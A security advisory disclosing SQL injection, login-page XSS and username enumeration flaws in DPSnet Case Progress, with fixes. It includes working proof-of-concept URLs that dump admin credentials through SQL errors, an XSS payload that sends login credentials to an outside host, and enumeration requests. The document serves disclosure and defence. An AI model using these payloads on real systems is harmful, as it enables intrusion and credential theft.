Unauthenticated SQL Injection, XSS and Username Enumeration on DPSnet Case Progress

Vulnerability found:
23 May 2007

Vendor informed:
10 July 2007

Severity level:
Critical

Credits:
Adrian Pastor of ProCheckUp Ltd

Description:
- Product description from vendor's site [1]:

"Progress is an internet based product which enables all parties involved in a matter, such as clients, work providers, estate agents, brokers or solicitors to look up and track all matter details, including WIP, accounting information, actions taken and the progress being made on all case management files over the Internet, 24 hours a day, 7 days a week.

Through a link from your firms own website or the DPS website, all parties can log on to Progress and view a report of each matter. How much each party can view of the progressed details made on a matter and then subsequently published to the Internet is strictly controlled by the solicitor through a secure internet link."

- Unauthenticated SQL Injection

Client input is being used to generate queries passed to the backend database server. This input is not sufficiently sanitized before being passed to the backend database server. As a result, a malicious user may be able to craft queries that will be run on the backend database server without any authentication, leading to sensitive information such as administrator passwords being retrieved.

SQL injection can have very serious consequences, such as the bypassing of authentication, querying/modifying/adding/deleting data from the backend database and the remote execution of programs.

NO authentication is required to exploit this vulnerability.

- XSS on login page

DPSnet Case Progress is vulnerable to a vanilla XSS within the "password" parameter processed by the login server-side script. The victim user does NOT need to be authenticated for this vulnerability to be exploitable.

An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to DPSnet Case Progress. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information to unauthorized third parties.

- Username enumeration

The login facility available on DPSnet Case Progress allows attackers to enumerate existing usernames through manual username-guessing and automated dictionary attacks.

Attackers can feasibly guess valid usernames provided that usernames are predictable (i.e.: [dictionary_word], [number]).

This kind of attack will most likely be launched by attackers who want to identify administrative usernames that have elevated privileges on DPSnet Case Progress.

Affected Version:

Unknown due to lack of response from vendor who stopped responding on 31 August 2007.

Proof of concept:
SQL injection proof of concept

The following request dumps the first username in the current table (which appeared to be the admin user during a penetration test):

https://target.foo/progress/PasswordReminder.asp?ReminderButton=Submit&UserName='+union+select+min(Login.UserName),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+Login+where+Login.UserName>'a'--

SQL error returned (notice the username 'adminuser'):

"Syntax error converting the varchar value 'adminuser' to a column of data type int."

The following request dumps the first password in the current table:

https://target.foo/progress/PasswordReminder.asp?ReminderButton=Submit&UserName='+union+select+min(Login.Password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+Login+where+Login.UserName='adminuser'--

SQL error returned (notice the password 'p4ssw0rd!!'):

"Syntax error converting the varchar value 'p4ssw0rd!!' to a column of data type int."

The following PoC script dumps usernames and passwords:

[removed]

- XSS proof of concept

Provided the victim is tricked to load the following URL, the credentials would be sent to a third-party site (procheckup.com in this case) when clicking on the login button.

https://target.foo/progress/?password=%22%3e%3c/form%3e%3cscript%3eloginform.action=%22http://procheckup.com/?%22;loginform.method=%22get%22%3c/script%3e%3c!--&

- Username enumeration proof of concept

Submitting an invalid username, i.e.:

https://target.foo/progress/default.asp?login=notvalidusername1&password=anypassword1&loginButton=Logon

Returns:

"The user name you have supplied is incorrect."

Providing a valid username, i.e.:

https://target.foo/progress/default.asp?login=validusername1&password=anypassword1&loginButton=Logon

Returns:

"Invalid password, please try again."

How to fix:
- Unauthenticated SQL Injection fix

Ensure all data originating from a client request is adequately filtered before being passed to the back-end database server. Special characters such as quotation marks, apostrophes, semi-colons and hyphens should particularly be filtered. Follow a white-listing input validation approach whenever possible.

Since there is no patch available from the vendor, it is recommended to enforce password authentication at the web server level, so that the vulnerable script cannot be probed by anonymous users.

- XSS on login page fix

Ensure all input is filtered sufficiently before being echoed back to the client. In particular, characters such as left and right angle brackets, quotation marks, apostrophes and ampersands should be filtered. It is highly recommended to follow a white-listing input validation approach whenever possible.

- Username enumeration fix

Change error messages so that attackers cannot determine if the username entered already exists. i.e. "Authentication failure: username/password combination is incorrect."

References:
[1] http://www.dpssoftware.co.uk/online.asp

ProCheckUp Security Vulnerabilities and Advisories:
http://www.procheckup.com/vulnerability_manager

Legal:
Copyright 2008 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.